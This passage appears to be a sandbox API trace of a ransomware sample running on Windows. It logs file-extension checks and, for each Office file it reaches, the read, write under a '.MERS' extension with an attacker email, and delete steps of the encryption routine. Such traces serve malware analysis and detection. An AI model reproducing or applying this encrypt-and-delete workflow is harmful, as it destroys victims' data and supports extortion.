Effects\\Paper.eftx") returned 77 [0272.692] lstrlenW (lpString=".dbf") returned 4 [0272.692] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0272.692] lstrlenW (lpString=".1cd") returned 4 [0272.692] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0272.692] lstrlenW (lpString=".jpg") returned 4 [0272.692] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0272.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0272.692] lstrlenW (lpString=".doc") returned 4 [0272.692] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.692] lstrlenW (lpString=".docx") returned 5 [0272.692] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.692] lstrlenW (lpString=".pdf") returned 4 [0272.692] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.692] lstrlenW (lpString=".xls") returned 4 [0272.692] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.692] lstrlenW (lpString=".xlsx") returned 5 [0272.692] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.692] lstrlenW (lpString=".ppt") returned 4 [0272.692] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0272.692] lstrlenW (lpString=".zip") returned 4 [0272.692] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.692] lstrlenW (lpString=".rar") returned 4 [0272.692] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.693] lstrlenW (lpString=".bz2") returned 4 [0272.693] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.693] lstrlenW (lpString=".7z") returned 3 [0272.693] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0272.693] lstrlenW (lpString=".dbf") returned 4 [0272.693] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0272.693] lstrlenW (lpString=".1cd") returned 4 [0272.693] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0272.693] lstrlenW (lpString=".jpg") returned 4 [0272.693] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.693] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0272.693] lstrlenW (lpString="Thatch.eftx") returned 11 [0272.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0272.695] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=41295) returned 1 [0272.695] CloseHandle (hObject=0x3cc) returned 1 [0272.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 0x20 [0272.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0272.695] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.695] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0272.696] GetLastError () returned 0x0 [0272.696] ReadFile (in: hFile=0x3cc, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0xa14f, lpOverlapped=0x0) returned 1 [0272.751] WriteFile (in: hFile=0x2c8, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xa150, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xa150, lpOverlapped=0x0) returned 1 [0272.753] ReadFile (in: hFile=0x3cc, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0272.753] WriteFile (in: hFile=0x2c8, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xea, lpOverlapped=0x0) returned 1 [0272.753] SetEndOfFile (hFile=0x2c8) returned 1 [0273.141] CloseHandle (hObject=0x2c8) returned 1 [0273.142] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.142] SetEndOfFile (hFile=0x3cc) returned 1 [0273.144] CloseHandle (hObject=0x3cc) returned 1 [0273.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 1 [0273.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0273.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0273.145] lstrlenW (lpString=".doc") returned 4 [0273.145] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.145] lstrlenW (lpString=".docx") returned 5 [0273.145] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.145] lstrlenW (lpString=".pdf") returned 4 [0273.145] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.145] lstrlenW (lpString=".xls") returned 4 [0273.145] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.145] lstrlenW (lpString=".xlsx") returned 5 [0273.145] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.145] lstrlenW (lpString=".ppt") returned 4 [0273.145] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0273.145] lstrlenW (lpString=".zip") returned 4 [0273.146] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString=".rar") returned 4 [0273.146] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString=".bz2") returned 4 [0273.146] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString=".7z") returned 3 [0273.146] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0273.146] lstrlenW (lpString=".dbf") returned 4 [0273.146] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0273.146] lstrlenW (lpString=".1cd") returned 4 [0273.146] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0273.146] lstrlenW (lpString=".jpg") returned 4 [0273.146] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0273.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0273.146] lstrlenW (lpString=".doc") returned 4 [0273.146] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString=".docx") returned 5 [0273.146] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.146] lstrlenW (lpString=".pdf") returned 4 [0273.146] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString=".xls") returned 4 [0273.146] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString=".xlsx") returned 5 [0273.146] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.146] lstrlenW (lpString=".ppt") returned 4 [0273.146] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0273.146] lstrlenW (lpString=".zip") returned 4 [0273.146] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.146] lstrlenW (lpString=".rar") returned 4 [0273.146] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.147] lstrlenW (lpString=".bz2") returned 4 [0273.147] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.147] lstrlenW (lpString=".7z") returned 3 [0273.147] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0273.147] lstrlenW (lpString=".dbf") returned 4 [0273.147] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0273.147] lstrlenW (lpString=".1cd") returned 4 [0273.147] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0273.147] lstrlenW (lpString=".jpg") returned 4 [0273.147] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.147] lstrcmpiW (lpString1=".MML", lpString2=".MERS") returned 1 [0273.147] lstrlenW (lpString="CAGCAT10.MML") returned 12 [0273.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0273.148] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=312400) returned 1 [0273.148] CloseHandle (hObject=0x3cc) returned 1 [0273.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 0x20 [0273.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0273.148] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.148] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x280 [0273.548] GetLastError () returned 0x0 [0273.548] ReadFile (in: hFile=0x3cc, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x4c450, lpOverlapped=0x0) returned 1 [0273.734] WriteFile (in: hFile=0x280, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x4c460, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x4c460, lpOverlapped=0x0) returned 1 [0273.741] ReadFile (in: hFile=0x3cc, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0273.741] WriteFile (in: hFile=0x280, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.741] SetEndOfFile (hFile=0x280) returned 1 [0273.741] CloseHandle (hObject=0x280) returned 1 [0273.741] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.741] SetEndOfFile (hFile=0x3cc) returned 1 [0273.749] CloseHandle (hObject=0x3cc) returned 1 [0273.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 1 [0273.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0273.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0273.750] lstrlenW (lpString=".doc") returned 4 [0273.750] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0273.750] lstrlenW (lpString=".docx") returned 5 [0273.750] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0273.750] lstrlenW (lpString=".pdf") returned 4 [0273.750] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0273.750] lstrlenW (lpString=".xls") returned 4 [0273.750] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0273.750] lstrlenW (lpString=".xlsx") returned 5 [0273.750] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0273.750] lstrlenW (lpString=".ppt") returned 4 [0273.750] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0273.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0273.750] lstrlenW (lpString=".zip") returned 4 [0273.750] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0273.750] lstrlenW (lpString=".rar") returned 4 [0273.750] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0273.750] lstrlenW (lpString=".bz2") returned 4 [0273.750] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0273.750] lstrlenW (lpString=".7z") returned 3 [0273.750] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0273.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0273.750] lstrlenW (lpString=".dbf") returned 4 [0273.750] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0273.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0273.750] lstrlenW (lpString=".1cd") returned 4 [0273.750] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0273.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0273.750] lstrlenW (lpString=".jpg") returned 4 [0273.750] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0273.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0273.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0273.751] lstrlenW (lpString=".doc") returned 4 [0273.751] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0273.751] lstrlenW (lpString=".docx") returned 5 [0273.751] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0273.751] lstrlenW (lpString=".pdf") returned 4 [0273.751] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0273.751] lstrlenW (lpString=".xls") returned 4 [0273.751] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0273.751] lstrlenW (lpString=".xlsx") returned 5 [0273.751] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0273.751] lstrlenW (lpString=".ppt") returned 4 [0273.751] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0273.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0273.751] lstrlenW (lpString=".zip") returned 4 [0273.751] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0273.751] lstrlenW (lpString=".rar") returned 4 [0273.751] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0273.751] lstrlenW (lpString=".bz2") returned 4 [0273.751] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0273.751] lstrlenW (lpString=".7z") returned 3 [0273.751] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0273.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0273.751] lstrlenW (lpString=".dbf") returned 4 [0273.751] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0273.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0273.751] lstrlenW (lpString=".1cd") returned 4 [0273.751] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0273.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0273.751] lstrlenW (lpString=".jpg") returned 4 [0273.751] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0273.752] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0273.752] lstrlenW (lpString="ACCOLKI.DLL") returned 11 [0273.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.897] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=13240) returned 1 [0273.897] CloseHandle (hObject=0x3b0) returned 1 [0273.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll")) returned 0x20 [0273.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0273.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0273.897] lstrlenW (lpString=".doc") returned 4 [0273.898] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.898] lstrlenW (lpString=".docx") returned 5 [0273.898] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0273.898] lstrlenW (lpString=".pdf") returned 4 [0273.898] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.898] lstrlenW (lpString=".xls") returned 4 [0273.898] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.898] lstrlenW (lpString=".xlsx") returned 5 [0273.898] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0273.898] lstrlenW (lpString=".ppt") returned 4 [0273.898] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0273.898] lstrlenW (lpString=".zip") returned 4 [0273.898] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.898] lstrlenW (lpString=".rar") returned 4 [0273.898] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.898] lstrlenW (lpString=".bz2") returned 4 [0273.898] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.898] lstrlenW (lpString=".7z") returned 3 [0273.898] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0273.898] lstrlenW (lpString=".dbf") returned 4 [0273.898] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0273.898] lstrlenW (lpString=".1cd") returned 4 [0273.898] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0273.898] lstrlenW (lpString=".jpg") returned 4 [0273.898] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0273.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0273.899] lstrlenW (lpString=".doc") returned 4 [0273.899] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.899] lstrlenW (lpString=".docx") returned 5 [0273.899] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0273.899] lstrlenW (lpString=".pdf") returned 4 [0273.899] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.899] lstrlenW (lpString=".xls") returned 4 [0273.899] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.899] lstrlenW (lpString=".xlsx") returned 5 [0273.899] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0273.899] lstrlenW (lpString=".ppt") returned 4 [0273.899] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0273.899] lstrlenW (lpString=".zip") returned 4 [0273.899] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.899] lstrlenW (lpString=".rar") returned 4 [0273.899] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.899] lstrlenW (lpString=".bz2") returned 4 [0273.899] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.899] lstrlenW (lpString=".7z") returned 3 [0273.899] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0273.899] lstrlenW (lpString=".dbf") returned 4 [0273.899] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0273.899] lstrlenW (lpString=".1cd") returned 4 [0273.899] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0273.900] lstrlenW (lpString=".jpg") returned 4 [0273.900] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.900] lstrcmpiW (lpString1=".VRD", lpString2=".MERS") returned 1 [0273.900] lstrlenW (lpString="ASSET.VRD") returned 9 [0273.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.900] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=1694) returned 1 